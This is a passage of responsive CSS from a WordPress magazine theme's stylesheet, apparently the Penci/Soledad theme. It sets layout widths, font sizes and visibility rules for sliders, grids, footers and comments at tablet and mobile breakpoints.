	}
	.footer-widget-wrapper {
		width: 100% !important;
		margin: 0 0 30px 0 !important;
		float: none
	}
	.footer-widget-wrapper.last {
		margin-bottom: 0 !important
	}
	.widget .jr-insta-thumb ul.thumbnails.no-border.jr_col_6 li {
		width: 33.33% !important
	}
	.widget .jr-insta-thumb ul.thumbnails.no-border.jr_col_8 li {
		width: 25% !important
	}
	.widget .jr-insta-thumb ul.thumbnails.no-border.jr_col_10 li {
		width: 20% !important
	}
	.container .penci-portfolio.column-3 .inner-portfolio-posts .portfolio-item {
		width: 50%
	}
	.column-1-2,
	.column-1-3,
	.column-1-4,
	.column-2-3,
	.column-3-4 {
		width: 100%;
		margin: 0 0 30px 0
	}
	.penci-masonry .item-masonry {
		width: 50%
	}
	.standard-masonry .standard-content .standard-share-box {
		display: none
	}
	.standard-masonry .standard-main-content.has-padding {
		min-height: 0;
		padding-left: 0
	}
	.pencisc-grid-tablet-6 .penci-masonry .item-masonry {
		width: 16.6666667%
	}
	.pencisc-grid-tablet-5 .penci-masonry .item-masonry {
		width: 20%
	}
	.pencisc-grid-tablet-4 .penci-masonry .item-masonry {
		width: 25%
	}
	.pencisc-grid-tablet-3 .penci-masonry .item-masonry {
		width: 33.3333%
	}
	.pencisc-grid-tablet-2 .penci-masonry .item-masonry {
		width: 50%
	}
	.pencisc-grid-tablet-1 .penci-masonry .item-masonry {
		width: 100%
	}
	.footer-social-drop-line ul.footer-socials li a span,
	ul.footer-socials li a span {
		display: none
	}
	.inner-item-portfolio {
		opacity: 1
	}
	.pcpt-ajax-ftl .inner-portfolio-posts.loaded .inner-item-portfolio.animated,
	.penci-portfolio.loaded .inner-item-portfolio.animated {
		-webkit-animation-name: none;
		-moz-animation-name: none;
		-o-animation-name: none;
		animation-name: none
	}
	div.penci-topbar-menu>ul {
		display: none !important
	}
	div.penci-topbar-menu>ul,
	ul.penci-topbar-menu {
		width: 100%;
		text-align: center
	}
	div.penci-topbar-menu>ul>li,
	ul.penci-topbar-menu>li {
		float: none;
		margin-right: 15px
	}
	div.penci-topbar-menu>ul ul.sub-menu,
	ul.penci-topbar-menu ul.sub-menu {
		top: auto
	}
}
@media only screen and (min-width:768px) and (max-width:960px) {
	body {
		--pcctain: 726px;
	}
	.container,
	.container.two-sidebar.two-sidebar,
	.featured-area.magazine-slider,
	.featured-area.style-1,
	.featured-area.style-4,
	.featured-carousel.style-2 .item img {
		width: var(--pcctain);
		max-width: calc(100% - 60px);
	}
	.wrapper-boxed.enable-boxed,
	.wrapper-boxed.enable-boxed .is-sticky #navigation {
		max-width: 766px
	}
	.featured-area .featured-carousel,
	.featured-area .featured-carousel.style-2,
	.penci-slick-slider {
		max-height: 420px
	}
	.featured-area.style-4,
	.featured-area.style-5,
	.penci-magazine-slider.penci-loading {
		min-height: 420px
	}
	#logo img {
		max-width: 600px;
		height: auto
	}
	.penci-image-holder.slider-style-1-fix {
		height: 372px
	}
	.penci-image-holder.slider-style-2-fix {
		width: 726px
	}
	.penci-image-holder.slider-style-3-fix {
		height: 400px
	}
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1 {
		padding-bottom: 0 !important
	}
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1 .mag-content,
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-3 .mag-content {
		height: 230px
	}
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2 .mag-content {
		height: 450px
	}
	.featured-carousel .featured-content,
	.featured-carousel.style-2 .featured-content {
		top: 35.3%
	}
	.penci-slider .pencislider-container .pencislider-content .pencislider-title {
		font-size: 26px
	}
	.penci-slider .pencislider-container .pencislider-content .pencislider-caption {
		font-size: 16px
	}
	ul.homepage-featured-boxes {
		margin-left: -10px;
		margin-right: -10px
	}
	.post-entry ul.homepage-featured-boxes li,
	ul.homepage-featured-boxes li {
		padding: 0 10px
	}
	ul.homepage-featured-boxes.boxes-4-columns li {
		width: 50%
	}
	ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 .fea-box-img:before {
		left: 8px;
		top: 8px;
		right: 8px;
		bottom: 8px
	}
	.penci-grid .list-post.list-boxed-post .item .content-list-right {
		display: inline-block;
		padding: 20px 20px 20px 30px;
		min-height: 0;
		height: auto
	}
	.penci-photo-2-effect figcaption h2,
	.penci_sidebar .penci-photo-2-effect figcaption h2 {
		font-size: 14px
	}
	.list-boxed-post .inner-content-list-right {
		vertical-align: top;
		display: block
	}
	.penci-pinterest-widget-container .penci-images-pin-widget a {
		width: 16.6666%
	}
	.penci-countdown .countdown-section {
		margin: 0 20px
	}
	.penci-countdown .countdown-amount {
		font-size: 60px
	}
	.penci-latest-posts-mixed-larger .penci-grid>li,
	.penci-layout-mixed .penci-grid>li {
		width: 100% !important
	}
	.container.penci_sidebar .penci-grid>li,
	.penci-grid>li,
	.penci-grid>li.grid-2-style {
		width: calc((100% - var(--pcrgap))/ 2)
	}
}
.penci-featured-cat-sc .home-featured-cat-content .mag-photo:last-child,
.penci-featured-cat-sc .home-featured-cat-content.style-6 .cat-right .mag-post-box:last-child {
	margin-bottom: 0 !important
}
@media only screen and (min-width:768px) {
	.penci-featured-cat-sc .home-featured-cat-content .mag-photo:nth-last-child(2) .penci-featured-cat-sc .home-featured-cat-content.style-6 .cat-right .mag-post-box:nth-last-child(2),
	.penci-featured-cat-sc .home-featured-cat-content.style-10 .mag-post-box:nth-last-child(2),
	.penci-featured-cat-sc .home-featured-cat-content.style-9 .mag-post-box:nth-last-child(2) {
		margin-bottom: 0 !important
	}
	.penci-featured-cat-sc .home-featured-cat-content.style-10 .mag-post-box:nth-last-child(2),
	.penci-featured-cat-sc .home-featured-cat-content.style-9 .mag-post-box:nth-last-child(2) {
		padding-bottom: 0 !important
	}
	.penci-featured-cat-sc .home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-detail,
	.penci-featured-cat-sc .penci-grid li.list-post .item .content-list-right,
	.penci-grid li.pclist-layout .item .content-list-right,
	.penci-latest-posts-sc .penci-grid li.penci-item-listp .item .content-list-right {
		padding-left: 30px;
		width: 53.75%;
		float: left
	}
	.penci-featured-cat-sc .penci-grid li.list-post .item>.thumbnail,
	.penci-grid li.pclist-layout .item>.thumbnail,
	.penci-latest-posts-sc .penci-grid li.list-post .item>.thumbnail {
		max-width: 100%
	}
	.penci-featured-cat-sc .home-featured-cat-content.style-6 .mag-post-box.first-post.full-mag-cat .magcat-detail {
		padding: 0 !important
	}
	.penci-featured-cat-sc .penci-grid li.list-post .item .content-list-right.fullwidth,
	.penci-latest-posts-sc .penci-grid li.list-post .item .content-list-right.fullwidth {
		padding: 0;
		width: 100%
	}
}
@media only screen and (max-width:767px) {
	.container,
	.container.two-sidebar.two-sidebar,
	.featured-area.magazine-slider,
	.featured-area.style-1,
	.featured-area.style-4,
	.featured-carousel.style-2 .item img {
		width: 100%
	}
	.wrapper-boxed.enable-boxed,
	.wrapper-boxed.enable-boxed .is-sticky #navigation {
		max-width: 100%
	}
	.header-slogan .header-slogan-text {
		padding: 0 10px
	}
	.featured-area .featured-carousel,
	.featured-area .featured-carousel.style-2,
	.penci-slick-slider {
		max-height: 180px
	}
	.featured-area.style-4,
	.featured-area.style-5,
	.penci-magazine-slider.penci-loading {
		min-height: 180px
	}
	.penci-image-holder.slider-style-1-fix {
		height: 250px
	}
	.penci-image-holder.slider-style-2-fix {
		width: 480px
	}
	.penci-image-holder.slider-style-3-fix {
		height: 260px
	}
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li .mag-content {
		width: 100% !important;
		border: none !important
	}
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li {
		padding-bottom: 0 !important;
		height: auto !important
	}
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1 .mag-content,
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2 .mag-content,
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-3 .mag-content {
		height: 200px
	}
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1 .mag-content:first-child,
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-3 .mag-content:first-child {
		margin-bottom: 10px !important
	}
	.featured-carousel .feat-text .feat-time {
		display: none
	}
	.featured-carousel .featured-cat a {
		margin-bottom: 0
	}
	.penci-magazine-slider ul.mag-wrap li {
		width: 100% !important;
		border: none !important;
		height: 0 !important;
		padding-bottom: 55% !important;
		border-bottom: 4px solid transparent !important
	}
	#penci-end-sidebar-sticky,
	.penci-magazine-slider .mag-cat {
		display: none
	}
	.penci-magazine-slider .mag-item-1 .mag-meta h3 a,
	.penci-magazine-slider .mag-meta h3 a {
		font-size: 18px
	}
	.penci-magazine-slider .mag-item-1 .mag-meta-child {
		margin-top: 5px
	}
	.home-featured-cat-content.style-10 .mag-post-box:nth-last-child(2),
	.home-featured-cat-content.style-9 .mag-post-box:nth-last-child(2) {
		padding-bottom: 15px;
		margin-bottom: 15px
	}
	.featured-carousel.style-7 .featured-content .feat-text h3,
	.featured-carousel.style-7 .featured-content .feat-text h3 a,
	.wrapper-boxed.enable-boxed .featured-carousel.style-7 .featured-content .feat-text h3 {
		padding: 0
	}
	.featured-carousel.style-7 .featured-content .feat-text h3 a:after,
	.featured-carousel.style-7 .featured-content .feat-text h3 a:before {
		content: none;
		display: none
	}
	.penci-featured-content .feat-text {
		padding: 15px 5px 16px;
		max-width: 350px
	}
	.penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content {
		padding: 12px 5px
	}
	.penci-slide-overlay .penci-mag-featured-content .feat-text {
		text-align: center
	}
	.featured-style-35 .featured-cat,
	.penci-featured-content .feat-text .feat-meta,
	.penci-featured-content .feat-text .featured-cat,
	.penci-mag-featured-content .cat,
	.penci-mag-featured-content .feat-meta {
		display: none
	}
	.penci-slide-overlay .penci-mag-featured-content {
		left: 0;
		width: 100%;
		padding: 0 5px;
		bottom: 10px
	}
	.featured-style-13 .penci-mag-featured-content h3 a,
	.penci-mag-featured-content h3 a {
		font-size: 14px
	}
	.featured-style-13 .penci-item-1 .penci-mag-featured-content h3 a,
	.featured-style-17 .penci-item-3 .penci-mag-featured-content h3 a,
	.featured-style-26 .penci-item-1 .penci-mag-featured-content h3 a,
	.featured-style-37 .penci-item-1 .penci-mag-featured-content h3 a,
	.featured-style-6 .penci-item-1 .penci-mag-featured-content h3 a {
		font-size: 20px
	}
	.featured-style-35 .feat-text-right h3 a,
	.featured-style-4 .penci-featured-content .feat-text h3 a,
	.featured-style-5 .penci-featured-content .feat-text h3 a,
	.penci-featured-content .feat-text h3 a {
		font-size: 18px
	}
	.feat-text-right {
		padding-left: 15px;
		padding-right: 15px;
		width: 350px;
		margin-left: -175px
	}
	.featured-style-2 .penci-owl-carousel .swiper-slide {
		width: 480px
	}
	.featured-style-10 .penci-mag-featured-content h3 a,
	.featured-style-11 .penci-mag-featured-content h3 a,
	.featured-style-12 .penci-mag-featured-content h3 a,
	.featured-style-15 .penci-item-2 .penci-mag-featured-content h3 a,
	.featured-style-15 .penci-mag-featured-content h3 a,
	.featured-style-16 .penci-item-2 .penci-mag-featured-content h3 a,
	.featured-style-16 .penci-mag-featured-content h3 a,
	.featured-style-7 .penci-mag-featured-content h3 a,
	.featured-style-8 .penci-mag-featured-content h3 a,
	.featured-style-9 .penci-mag-featured-content h3 a {
		font-size: 16px
	}
	.featured-style-13 .penci-image-holder:before,
	.featured-style-14 .penci-image-holder:before {
		height: 300px
	}
	.featured-style-15 .penci-image-holder:before,
	.featured-style-16 .penci-image-holder:before {
		height: 200px
	}
	.featured-style-17 .penci-image-holder:before,
	.featured-style-18 .penci-image-holder:before {
		height: 160px
	}
	.featured-style-17 .penci-slide17-item-2 .penci-image-holder:before,
	.featured-style-18 .penci-slide17-item-2 .penci-image-holder:before {
		height: 240px
	}
	.featured-style-19 .penci-image-holder:before {
		height: 150px
	}
	.featured-style-19 .penci-item-0 .penci-mag-featured-content h3 a,
	.featured-style-19 .penci-item-1 .penci-mag-featured-content h3 a,
	.featured-style-19 .penci-mag-featured-content h3 a {
		font-size: 14px
	}
	.featured-style-19 .wrapper-item .penci-item-2,
	.featured-style-19 .wrapper-item .penci-item-3,
	.featured-style-19 .wrapper-item .penci-item-mag {
		width: 50%
	}
	.featured-style-19 .wrapper-item .penci-item-1,
	.featured-style-19 .wrapper-item .penci-item-3 {
		border-right: 2px solid transparent
	}
	.featured-style-19 .wrapper-item .penci-item-0,
	.featured-style-19 .wrapper-item .penci-item-2 {
		border-left: 2px solid transparent
	}
	.featured-style-20 .penci-item-1 .penci-mag-featured-content h3 a,
	.featured-style-21 .penci-item-1 .penci-mag-featured-content h3 a {
		font-size: 16px
	}
	.featured-style-20 .penci-item-2 .penci-mag-featured-content h3 a {
		font-size: 14px;
		text-transform: none;
		letter-spacing: 0
	}
	.featured-style-20 .penci-item-0 .penci-mag-featured-content h3 a,
	.featured-style-20 .penci-item-3 .penci-mag-featured-content h3 a,
	.featured-style-20 .penci-item-4 .penci-mag-featured-content h3 a,
	.featured-style-21 .penci-item-0 .penci-mag-featured-content h3 a,
	.featured-style-21 .penci-item-4 .penci-mag-featured-content h3 a {
		font-size: 14px;
		text-transform: none;
		letter-spacing: 0
	}
	.featured-style-20 .wrapper-item .penci-item-mag,
	.featured-style-21 .wrapper-item .penci-item-mag {
		width: 50%
	}
	.featured-style-20 .wrapper-item .penci-item-1,
	.featured-style-21 .wrapper-item .penci-item-1 {
		width: 100%;
		border-bottom: 4px solid transparent
	}
	.featured-style-20 .wrapper-item .penci-item-3 {
		border-bottom: 4px solid transparent
	}
	.featured-style-23 .penci-item-0 .penci-mag-featured-content h3 a,
	.featured-style-23 .penci-item-1 .penci-mag-featured-content h3 a,
	.featured-style-23 .penci-item-2 .penci-mag-featured-content h3 a,
	.featured-style-23 .penci-item-3 .penci-mag-featured-content h3 a,
	.featured-style-23 .penci-item-4 .penci-mag-featured-content h3 a,
	.featured-style-23 .penci-item-5 .penci-mag-featured-content h3 a,
	.featured-style-27 .penci-item-0 .penci-mag-featured-content h3 a,
	.featured-style-27 .penci-item-2 .penci-mag-featured-content h3 a,
	.featured-style-27 .penci-item-3 .penci-mag-featured-content h3 a,
	.featured-style-27 .penci-item-4 .penci-mag-featured-content h3 a {
		font-size: 14px;
		text-transform: none;
		letter-spacing: 0
	}
	.featured-style-24 .penci-item-0 .penci-image-holder:before,
	.featured-style-24 .penci-item-1 .penci-image-holder:before,
	.featured-style-24 .penci-item-2 .penci-image-holder:before,
	.featured-style-24 .penci-item-3 .penci-image-holder:before,
	.featured-style-25 .penci-item-0 .penci-image-holder:before,
	.featured-style-25 .penci-item-1 .penci-image-holder:before,
	.featured-style-25 .penci-item-2 .penci-image-holder:before,
	.featured-style-25 .penci-item-3 .penci-image-holder:before,
	.featured-style-27 .penci-item-0 .penci-image-holder:before,
	.featured-style-27 .penci-item-2 .penci-image-holder:before,
	.featured-style-27 .penci-item-3 .penci-image-holder:before,
	.featured-style-27 .penci-item-4 .penci-image-holder:before {
		height: 150px
	}
	.featured-style-24 .penci-item-0 .penci-mag-featured-content h3 a,
	.featured-style-24 .penci-item-1 .penci-mag-featured-content h3 a,
	.featured-style-24 .penci-item-2 .penci-mag-featured-content h3 a,
	.featured-style-24 .penci-item-3 .penci-mag-featured-content h3 a,
	.featured-style-25 .penci-item-0 .penci-mag-featured-content h3 a,
	.featured-style-25 .penci-item-1 .penci-mag-featured-content h3 a,
	.featured-style-25 .penci-item-2 .penci-mag-featured-content h3 a,
	.featured-style-25 .penci-item-3 .penci-mag-featured-content h3 a {
		font-size: 14px
	}
	.featured-style-27 .penci-item-1 .penci-mag-featured-content h3 a {
		font-size: 18px
	}
	.featured-style-28 .wrapper-item .penci-item-1 {
		width: 480px
	}
	.featured-style-28 .penci-item-1 .penci-image-holder:before {
		height: 404px;
		padding: 0
	}
	.featured-style-28 .penci-mag-featured-content h3 a {
		font-size: 16px
	}
	.featured-style-29 .penci-featured-content .feat-text h3 a {
		font-size: 24px
	}
	.featured-style-29.style-30 .penci-featured-content .feat-text h3 a {
		font-size: 20px
	}
	.featured-style-29.style-30 .penci-featured-content {
		padding: 0 15px
	}
	.featured-style-29 .penci-image-holder:before,
	.featured-style-29.style-30 .penci-image-holder:before {
		height: 400px
	}
	.pencislider-container .pencislider-content .pencislider-title {
		font-size: 24px
	}
	.pencislider-container .pencislider-content .pencislider-caption span,
	.pencislider-container .pencislider-content .pencislider-title span {
		padding: 2px 10px
	}
	.pencislider-container .pencislider-content .pencislider-button {
		padding: 9px 15px 9px;
		font-size: 12px
	}
	.penci-home-popular-posts {
		padding: 30px 0 0 0;
		border: none
	}
	.penci-video-overlay {
		left: 10px;
		right: 10px
	}
	.penci-video-custom-img {
		-webkit-animation-delay: .1s;
		-moz-animation-delay: .1s;
		-o-animation-delay: .1s;
		animation-delay: .1s
	}
	h2.penci-heading-video {
		font-size: 18px;
		-webkit-animation-delay: .3s;
		-moz-animation-delay: .3s;
		-o-animation-delay: .3s;
		animation-delay: .3s
	}
	p.penci-sub-heading-video {
		font-size: 12px;
		-webkit-animation-delay: .5s;
		-moz-animation-delay: .5s;
		-o-animation-delay: .5s;
		animation-delay: .5s
	}
	.home-featured-boxes-sc ul.homepage-featured-boxes.boxes-2-columns li,
	.post-entry ul.homepage-featured-boxes li,
	ul.homepage-featured-boxes li {
		width: 100% !important;
		margin-bottom: 20px
	}
	.grid-mixed,
	.grid-mixed>article {
		display: block
	}
	#logo img {
		max-width: 100%;
		height: auto
	}
	.archive-box h1,
	.archive-box span,
	.post-header h1,
	.post-header h1 a,
	.post-header h2 a {
		font-size: 18px
	}
	.standard-content .standard-share-box {
		display: none
	}
	.standard-main-content.has-padding {
		padding-left: 0
	}
	.standard-main-content.classic-main-content.has-padding,
	.standard-main-content.has-padding {
		min-height: 0
	}
	.post-image.audio iframe,
	.standard-post-image.audio iframe {
		height: 120px;
		width: 100%
	}
	.thecomment .author-img {
		display: none
	}
	.thecomment .comment-text {
		margin-left: 0
	}
	#respond p.comment-form-author,
	#respond p.comment-form-email,
	#respond p.comment-form-url,
	.wpcf7 p.email,
	.wpcf7 p.name,
	.wpcf7 p.subject {
		width: 100%;
		margin: 0
	}
	.featured-carousel .featured-content,
	.featured-carousel.style-2 .featured-content {
		top: 34%
	}
	.featured-carousel>button.slick-next,
	.featured-carousel>button.slick-prev {
		right: 10px
	}
	.featured-carousel>button.slick-prev,
	.penci-slider .penci-direction-nav .penci-prev {
		left: 10px
	}
	.featured-carousel .featured-content {
		width: 340px
	}
	.featured-carousel .featured-content .feat-text {
		padding: 20px 10px !important
	}
	.error-404 .heading-text-404,
	.header-classic>h2,
	.standard-main-content>h2 {
		font-size: 24px;
		padding: 0
	}
	.penci-slider.penci-loading {
		min-height: 250px
	}
	.penci-slider ul.slides li .pencislider-container {
		padding: 0 65px
	}
	.penci-slider .pencislider-container .pencislider-content .pencislider-title {
		font-size: 18px
	}
	.penci-slider .pencislider-container .pencislider-content .pencislider-caption {
		font-size: 13px
	}
	.penci-slider .pencislider-container .pencislider-content .penci-button {
		margin: 20px 0 0
	}
	.penci-slider .pencislider-container .pencislider-content .pencislider-button {
		padding: 8px 20px;
		font-size: 12px
	}
	.penci-slider .pencislider-container .pencislider-content .pencislider-button:before {
		content: none;
		display: none
	}
	.header-classic>h2 a:after,
	.header-classic>h2 a:before,
	.post-header h1 span:after,
	.post-header h1 span:before,
	.post-header h2 span:after,
	.post-header h2 span:before,
	.standard-main-content>h2:before {
		content: none !important
	}
	.container.penci_sidebar .penci-grid>li {
		width: 100% !important;
		margin: 0 0 40px !important
	}
	.container.penci_sidebar .penci-grid[data-mcols="2"]>li,
	.penci-grid[data-mcols="2"]>li {
		width: calc((100% - var(--pcrgap))/ 2) !important;
		margin-bottom: 20px
	}
	.post-header h1 span,
	.post-header h2 span {
		padding: 0
	}
	.penci-portfolio-filter ul {
		display: block
	}
	.inner-portfolio-posts .portfolio-item,
	.penci-post-gallery-container.masonry .item-gallery-masonry {
		width: 100% !important
	}
	.post-entry .penci-portfolio-filter ul li {
		float: none
	}
	.penci-portfolio-filter ul li,
	.post-entry .penci-portfolio-filter ul li {
		margin: 0 10px 5px
	}
	.home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-detail,
	.home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-thumb,
	.penci-grid .list-post.list-boxed-post .item .content-list-right,
	.penci-grid .list-post.list-boxed-post .item>.thumbnail,
	.penci-grid li.list-post .item>.thumbnail {
		width: 100% !important;
		display: block;
		height: auto;
		min-height: 0;
		float: none;
		max-width: 100%
	}
	.penci-grid .list-post.list-boxed-post .item>.thumbnail:before {
		content: none;
		display: none
	}
	.penci-grid li {
		width: 100% !important;
		margin-right: 0 !important;
		float: none
	}
	.container.penci_sidebar .penci-masonry .item-masonry {
		width: 100%;
		float: none;
		position: static !important;
		margin-bottom: 30px
	}
	.penci-grid li.pclist-layout.pc-has-thumb.pc-list-imgright .item .content-list-right,
	.penci-grid li.list-post .item .content-list-right {
		padding: 0;
		width: 100% !important;
		float: none
	}
	.penci-grid .list-post.list-boxed-post .item .content-list-right {
		padding: 30px
	}
	.penci-grid li.list-post .item>.thumbnail {
		margin-bottom: 30px
	}
	.penci-grid .list-post.list-boxed-post .item>.thumbnail {
		margin-bottom: 0
	}
	.penci-grid li .item>.thumbnail,
	.penci-masonry .item-masonry>.thumbnail {
		width: 100%
	}
	.penci-masonry .item-masonry {
		width: 100% !important
	}
	.penci-grid li.list-post.penci-slistp .item>.thumbnail {
		width: 120px !important
	}
	.pencisc-grid-mobile-6 .home-featured-cat-content .mag-photo,
	.pencisc-grid-mobile-6 .penci-masonry .item-masonry {
		width: 16.6666667% !important
	}
	.pencisc-grid-mobile-5 .home-featured-cat-content .mag-photo,
	.pencisc-grid-mobile-5 .penci-masonry .item-masonry {
		width: 20% !important
	}
	.pencisc-grid-mobile-4 .home-featured-cat-content .mag-photo,
	.pencisc-grid-mobile-4 .penci-masonry .item-masonry {
		width: 25% !important
	}
	.pencisc-grid-mobile-3 .home-featured-cat-content .mag-photo,
	.pencisc-grid-mobile-3 .penci-masonry .item-masonry {
		width: 33.3333% !important
	}
	.pencisc-grid-mobile-2 .home-featured-cat-content .mag-photo,
	.pencisc-grid-mobile-2 .penci-masonry .item-masonry {
		width: 50% !important
	}
	.pencisc-grid-mobile-1 .home-featured-cat-content .mag-photo,
	.pencisc-grid-mobile-1 .penci-masonry .item-masonry {
		width: 100% !important
	}
	.container.penci_sidebar .penci-masonry[data-mcols="2"] .item-masonry,
	.penci-masonry[data-mcols="2"] .item-masonry {
		width: 50% !important;
		float: left !important
	}
	.penci-featured-cat-ctcol.pencisc-grid-mobile-2 .home-featured-cat-content .mag-photo,
	.penci-featured-cat-ctcol.pencisc-grid-mobile-3 .home-featured-cat-content .mag-photo,
	.penci-featured-cat-ctcol.pencisc-grid-mobile-4 .home-featured-cat-content .mag-photo,
	.penci-featured-cat-ctcol.pencisc-grid-mobile-5 .home-featured-cat-content .mag-photo,
	.penci-featured-cat-ctcol.pencisc-grid-mobile-6 .home-featured-cat-content .mag-photo {
		width: 100% !important
	}
	.list-boxed-post .inner-content-list-right {
		display: block
	}
	.penci-photo-2-effect figcaption h2,
	.penci_sidebar .penci-photo-2-effect figcaption h2 {
		font-size: 22px
	}
	.home-featured-cat-content .mag-photo {
		width: 100%;
		margin-bottom: 15px
	}
	.home-featured-cat-content.style-1 {
		margin-left: 0;
		margin-right: 0;
		width: 100%
	}
	.home-featured-cat-content .cat-left,
	.home-featured-cat-content .cat-right {
		width: 100%;
		float: none
	}
	.home-featured-cat-content.style-1 .cat-left,
	.home-featured-cat-content.style-1 .cat-right {
		padding: 0
	}
	.home-featured-cat-content .cat-left {
		margin-bottom: 30px
	}
	.home-featured-cat.mag-cat-style-2 {
		width: 100%;
		margin: 0 0 20px 0;
		float: none
	}
	.home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-detail {
		padding: 0
	}
	.home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-thumb {
		margin-bottom: 24px
	}
	.home-featured-cat-content.style-6 .cat-right .mag-post-box {
		margin-right: 0;
		width: 100%;
		float: none;
		display: table;
		padding-bottom: 15px;
		border-bottom: 1px solid #dedede;
		margin-bottom: 15px
	}
	.home-featured-cat-content.style-6 .cat-right .mag-post-box:last-child {
		border: none
	}
	.home-featured-cat-content.style-10 .mag-post-box,
	.home-featured-cat-content.style-9 .mag-post-box {
		width: 100%;
		float: none;
		margin-right: 0
	}
	.content-special-list {
		padding: 15px
	}
	.format-post-box .post-format-icon {
		top: 10px;
		margin-left: -35px;
		display: none
	}
	.format-post-box .post-format-icon i {
		font-size: 24px
	}
	.format-post-box .dt-special,
	.format-post-box .dt-special a,
	.format-post-box.penci-format-quote .dt-special {
		font-size: 16px;
		line-height: 1.7
	}
	.author-quote span {
		font-size: 13px
	}
	.under-construction-page .under-title {
		font-size: 23px
	}
	.penci-countdown .countdown-section {
		margin: 0 5px
	}
	.penci-countdown .countdown-amount {
		font-size: 30px
	}
	.penci-countdown .countdown-period {
		font-size: 13px;
		margin: 15px 0 0
	}
	.post-entry h1 {
		font-size: 24px
	}
	.post-entry h2 {
		font-size: 22px
	}
	.post-entry h3 {
		font-size: 20px
	}
	.post-entry h4 {
		font-size: 18px
	}
	.post-entry h5 {
		font-size: 16px
	}
	.post-entry h6 {
		font-size: 15px
	}
	.elementor-widget-text-editor h1 {
		font-size: 24px
	}
	.elementor-widget-text-editor h2 {
		font-size: 22px
	}
	.elementor-widget-text-editor h3 {
		font-size: 20px
	}
	.elementor-widget-text-editor h4 {
		font-size: 18px
	}
	.elementor-widget-text-editor h5 {
		font-size: 16px
	}
	.elementor-widget-text-editor h6 {
		font-size: 15px
	}
	.penci-post-gallery-container.masonry .item-gallery-masonry a {
		opacity: 1;
		-webkit-animation-delay: 0s !important;
		-moz-animation-delay: 0s !important;
		-o-animation-delay: 0s !important;
		animation-delay: 0s !important;
		-webkit-animation-name: none !important;
		-moz-animation-name: none !important;
		-o-animation-name: none !important;
		animation-name: none !important
	}
	ul.footer-socials li {
		margin-right: 20px
	}
	.header-standard .post-title,
	.header-standard h2,
	.header-standard h2 a,
	.pc_titlebig_standard,
	.pc_titlebig_standard a,
	.penci-header-signup-form h4.header-signup-form,
	.penci-page-header h1 {
		font-size: 20px
	}
	.tags-share-box {
		padding: 20px 0
	}
	.post-share {
		position: static;
		margin-top: 15px;
		clear: both;
		display: block
	}
	.post-share.tags-share-box-top {
		margin-top: 0;
	}
	.penci-overlay-over .overlay-header-box {
		padding: 0;
		left: 10px;
		right: 10px
	}
	.overlay-header-box .cat,
	.overlay-header-box .overlay-author {
		display: none
	}
	.overlay-header-box .overlay-title a {
		font-size: 18px
	}
	.penci-overlay-over .overlay-header-box:after {
		content: none;
		display: none
	}
	.overlay-post-box-meta {
		position: static;
		padding: 20px 0 0
	}
	.penci-single-mag-slider .magcat-detail .magcat-titlte {
		font-size: 20px
	}
	.home-featured-cat-content .penci-single-mag-slider .grid-post-box-meta {
		margin-top: 7px
	}
	.post-pagination .next-post,
	.post-pagination .prev-post {
		float: none;
		width: 100%;
		display: table
	}
	.post-pagination .prev-post {
		margin-bottom: 15px
	}
	.footer-subscribe h4.footer-subscribe-title {
		font-size: 28px
	}
	.footer-subscribe .mc4wp-form {
		width: 480px
	}
	.footer-subscribe .mc4wp-form .mdes {
		margin-left: 0;
		width: 100%;
		font-size: 16px
	}
	.footer-subscribe .mc4wp-form .memail {
		width: 328px
	}
	.footer-social-remove-circle ul.footer-socials li a i {
		font-size: 16px
	}
	.post-pagination.pcpagp-style-3 {
		display: block
	}
	.post-pagination.pcpagp-style-3 .next-post {
		padding-left: 0
	}
	.penci-post-nav-thumb.nav-thumb-next {
		margin: 0
	}
	.post-pagination.pcpagp-style-5 .next-post-inner,
	.post-pagination.pcpagp-style-5 .prev-post-inner {
		margin: -60px 10px 0 10px;
		padding: 15px 10px 10px 10px
	}
	.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote),
	.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote) {
		padding-left: 0;
		padding-right: 0
	}
	.post-pagination.pcpagp-style-3 .next-post,
	.post-pagination.pcpagp-style-3 .prev-post,
	.post-pagination.pcpagp-style-5 .next-post,
	.post-pagination.pcpagp-style-5 .prev-post {
		width: 100%
	}
	.e-parent.e-con.e-flex {
		--flex-wrap: nowrap
	}
	.comments.pc-cms-style-2 .thecomment .author-img,
	.comments.pc-cms-style-3 .thecomment .author-img {
		display: block;
		margin-right: 10px;
		width: 30px
	}
	.comments.pc-cms-style-2 .comment-text {
		margin-left: 40px
	}
	.comments.pc-cms-style-2 .thecomment .comment-text:before {
		top: 15px
	}
	.pcrstb-wrap {
		width: 100%;
		overflow: auto;
	}
}
@media only screen and (min-width:480px) and (max-width:767px) {
	body {
		--pcctain: 480px;
	}
	.container,
	.container.two-sidebar.two-sidebar,
	.featured-area.magazine-slider,
	.featured-area.style-1,
	.featured-area.style-4,
	.featured-carousel.style-2 .item img {
		width: var(--pcctain)
	}
	.wrapper-boxed.enable-boxed,
	.wrapper-boxed.enable-boxed .is-sticky #navigation {
		max-width: 520px
	}
	.featured-area .featured-carousel,
	.featured-area .featured-carousel.style-2,
	.penci-slick-slider {
		max-height: 280px
	}
	.featured-area.style-4,
	.featured-area.style-5,
	.penci-magazine-slider.penci-loading {
		min-height: 280px
	}
	#logo img {
		max-width: 100%;
		height: auto
	}
	.standard-content-special,
	.standard-post-image .audio-iframe {
		left: 15px;
		right: 15px;
		bottom: 15px
	}
	.post-image.audio iframe {
		width: 100%;
